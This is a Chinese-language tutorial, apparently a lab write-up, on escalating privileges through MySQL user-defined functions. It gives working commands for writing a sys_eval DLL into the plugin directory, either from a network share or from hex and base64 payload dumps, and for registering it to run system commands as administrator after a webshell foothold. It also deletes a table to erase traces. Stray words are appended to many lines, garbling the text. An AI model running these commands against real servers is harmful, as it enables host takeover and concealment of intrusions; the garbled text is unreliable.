因爲udf提權是須要構造UDF函數文件的,涉及到了寫文件。因此本次實驗已經將mysql的配置作了改動:–secure-file-priv=‘’
。php
劇情須知:html
secure_file_priv 爲 NULL 時,表示限制mysqld不容許導入或導出。 secure_file_priv 爲 /tmp 時,表示限制mysqld只能在/tmp目錄中執行導入導出,其餘目錄不能執行。 secure_file_priv 沒有值時,表示不限制mysqld在任意目錄的導入導出。
解決方法: 找到'my.cnf'或'my.ini',加入如下語句後重啓mysql:mysql
secure_file_priv=''
0x01 前言
首先,想要知道udf提權是怎麼回事,首先要先知道udf是什麼。web
udf = 'user defined function'
即‘用戶自定義函數’。sql
經過添加新函數,對MYSQL的功能進行擴充,性質就象使用本地MYSQL函數如abs()或concat()。shell
udf在mysql5.1之後的版本中,存在於‘mysql/lib/plugin’目錄下,文件後綴爲‘.dll’,經常使用c語言編寫。數據庫
這裏咱們新建了一個非root用戶: 附上mysql用戶相關的操做語句:編程
#查看現有用戶 select host,user,authentication_string from mysql.user; #新建用戶 create user "username"@"host" identified by "password"; #舉個栗子 mysql->create user 'test'@'%' identified by '123'; host="localhost"爲本地登陸用戶,host="ip"爲ip地址登陸,host="%",爲外網ip登陸 #刪除用戶 drop user 'username'@'host'; #受權 #授予用戶經過外網IP對於該數據庫的所有權限 grant all privileges on `test`.* to 'test'@'%' ; #授予用戶在本地服務器對該數據庫的所有權限 grant all privileges on `test`.* to 'test'@'localhost'; grant select on test.* to 'user1'@'localhost'; /*給予查詢權限*/ grant insert on test.* to 'user1'@'localhost'; /*添加插入權限*/ grant delete on test.* to 'user1'@'localhost'; /*添加刪除權限*/ grant update on test.* to 'user1'@'localhost'; /*添加權限*/ flush privileges; /*刷新權限*/ #查看權限 show grants; #查看某個用戶的權限 show grants for 'jack'@'%'; #刪除權限 revoke delete on test.* from 'jack'@'localhost';
0x02 如何使用udf
假設個人udf文件名爲‘udf.dll’,存放在Mysql根目錄(經過select @@basedir可知)的‘lib/plugin’目錄下。在udf中,我定義了名爲sys_eval的mysql函數,能夠執行系統任意命令。若是我如今就打開mysql命令行,使用select sys_eval('dir');的話,系統會返回sys_eval()函數未定義。由於咱們僅僅是把‘udf.dll’放到了某個文件夾裏,並無引入。相似於面向對象編程時引入包同樣,若是沒有引入包,那麼這個包裏的類你是用不了的。 因此,咱們應該把‘udf.dll’中的自定義函數引入進來。windows
看看實例用法:服務器
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
只有兩個變量,一個是function_name(函數名),咱們想引入的函數是sys_eval。還有一個變量是shared_library_name(共享包名稱),即‘udf.dll’。 至此咱們已經引入了sys_eval函數,下面就是使用了。 這個函數用於執行系統命令,用法以下:
select sys_eval('cmd command');
0x03 提權流程
如今咱們已經知道了udf是什麼,以及如何引入udf。下面咱們要關注的就是提權了。其實到這裏,提權已經結束了,由於對於sys_eval()函數,其中的指令是直接以管理員的權限運行的,因此這也就是最高權限了。
下面來整理一下思路:
提權思路
- 將udf文件放到指定位置(Mysql>5.1放在Mysql根目錄的lib\plugin文件夾下)
- 從udf文件中引入自定義函數(user defined function)
- 執行自定義函數
先看第一步,拿到一個網站的webshell以後,在指定位置建立udf文件。如何建立?先別忘了,如今連源udf文件都沒有。sqlmap中有現成的udf文件,分爲32位和64位,必定要選擇對版本,不然會顯示:Can't open shared library 'udf.dll'。
UDF提權版本條件
- Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下。
- Mysql版本小於5.1版本。udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。
登陸到MySQL後,查看一下當前用戶的權限:
select * from mysql.user where user = substring_index(user(), '@', 1) ;
能夠看到該用戶的權限很是的高,而且能夠對文件進行讀寫操做,所以咱們能夠考慮編寫UDF DLL庫以得到代碼執行的能力。
而後來獲取當前數據庫及操做系統的架構狀況:
select @@version_compile_os, @@version_compile_machine;
show variables like '%compile%';
從MySQL 5.0.67開始,UDF庫必須包含在plugin文件夾中,咱們可使用@@ plugin_dir
全局變量找到該目錄。該變量能夠在mysql.ini文件中查看和編輯。
select @@plugin_dir ;
show variables like 'plugin%';
能夠經過mysqld更改plugin的目錄位置。
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
另外一種方法是編寫一個新的mysql配置文件,並經過–defaults-file參數將其傳遞給mysqld。
mysqld.exe --defaults-file=C:\\temp\\my.ini
‘my.ini’中的內容以下:
[mysqld] plugin_dir = C:\\temp\\plugins\\
在舊版本中,你能夠將DLL文件上傳到如下位置並建立新的UDF函數。
@@datadir @@basedir\bin C:\windows C:\windows\system C:\windows\system32
上傳UDF文件
有不少方法能夠作到這一點
方法1
load_file函數支持網絡路徑。若是你能夠將DLL複製到網絡共享中,那麼你就能夠直接加載並將它寫入磁盤。
select load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll') into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
方法2
另外一種方法是將整個DLL文件以十六進制編碼後寫入磁盤。
select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex'; select 0x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000… into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
方法3
還有一種方法是建立一個表並將二進制數據插入到十六進制編碼流中。你能夠經過insert語句或將其分解爲多個部分,而後經過update語句拼接二進制數據。
create table temp(data longblob); insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000); update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dump file "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
方法4
或者你也能夠直接從磁盤將文件從網絡共享加載到上面建立的表中,或使用「快速導入數據(load data infile)」語句在本地加載。將文件像上面顯示的那樣轉換爲十六進制,並在寫入磁盤時解碼。
load data infile '\\\\192.168.0.19\\network\\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '@OsandaMalith' (data); select unhex(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
其餘
這裏有個好消息,就是從MySQL 5.6.1和MariaDB 10.0.5開始,新增了to_base64和from_base64函數。若是你是一個善於繞過SQL注入WAF的人,相信你已經在使用這些函數了(提示:路由查詢注入)。
select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.b64';
你能夠編輯base64文件並經過如下方式將其dump到插件目錄。
select from_base64("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4 s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAA AAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAA EAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAA AAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIA AABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAR EAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA") into dumpfile "D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll";
以後,你能夠像這樣將整個文件傳遞給mysql。
mysql -h192.168.0.30 -uosanda -pabc123 < /tmp/udf.b64
你也能夠從網絡共享寫入base64編碼文件或使用「快速導入數據(load data infile)」語句在本地加載並經過如下語句dump。
select from_base64(data) from temp into dumpfile 'D:\\MySQL\\mysql-5.7.21-winx64\\mysql-5.7.21-winx64\\lib\\plugin\\udf.dll';
構造高權函數
可以走到這裏,沒有報錯的話就說明已經在目標主機上成功生成了udf文件。
下面要構造udf函數:
1. DROP TABLE tmp; //爲了刪除痕跡,把剛剛新建的udftmp表刪掉 2. CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //導入udf函數
這裏構造的是,執行系統命令並在屏幕上經過標準輸出顯示的函數。除此以外還有許多其餘的函數,文章末尾有freebuf的大佬有寫的文章:
select * from mysql.func where name = 'sys_eval';
select sys_eval('dir');
若是須要刪除這個函數的話:
drop function sys_eval;
0x04 參考連接
https://www.cnblogs.com/litlife/p/9030673.html4
http://www.javashuo.com/article/p-szmmydzl-dt.html